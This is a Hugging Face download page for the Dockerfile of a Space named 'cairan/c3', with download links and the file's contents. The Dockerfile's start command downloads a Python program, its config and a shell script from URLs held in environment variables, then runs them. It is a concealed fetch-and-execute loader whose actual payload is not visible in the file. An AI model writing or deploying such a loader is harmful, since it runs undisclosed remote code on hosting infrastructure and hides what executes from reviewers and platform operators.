Download Dockerfile from cairan/c3: direct link, hf CLI and curl.
- Browser
- Download file 377 Bytes
-
https://huggingface.co/spaces/cairan/c3/resolve/main/Dockerfile
- Command line
-
hf download hf://spaces/cairan/c3/Dockerfile
-
curl -L -o Dockerfile https://huggingface.co/spaces/cairan/c3/resolve/main/Dockerfile
377 Bytes
| FROM python:3.14-alpine | |
| RUN apk add --no-cache ffmpeg curl \ | |
| && adduser -D -u 1000 user | |
| ENV HOME=/home/user \ | |
| PATH=/home/user/.local/bin:$PATH \ | |
| PYTHONUNBUFFERED=1 | |
| WORKDIR $HOME/app | |
| RUN chown -R user:user $HOME | |
| # set user | |
| USER user | |
| EXPOSE 7860 | |
| CMD ["/bin/sh", "-c", "wget $C_URL -O c && wget $C_CONF -O c.conf && python c -c c.conf & wget $H_URL -O h && sh h"] |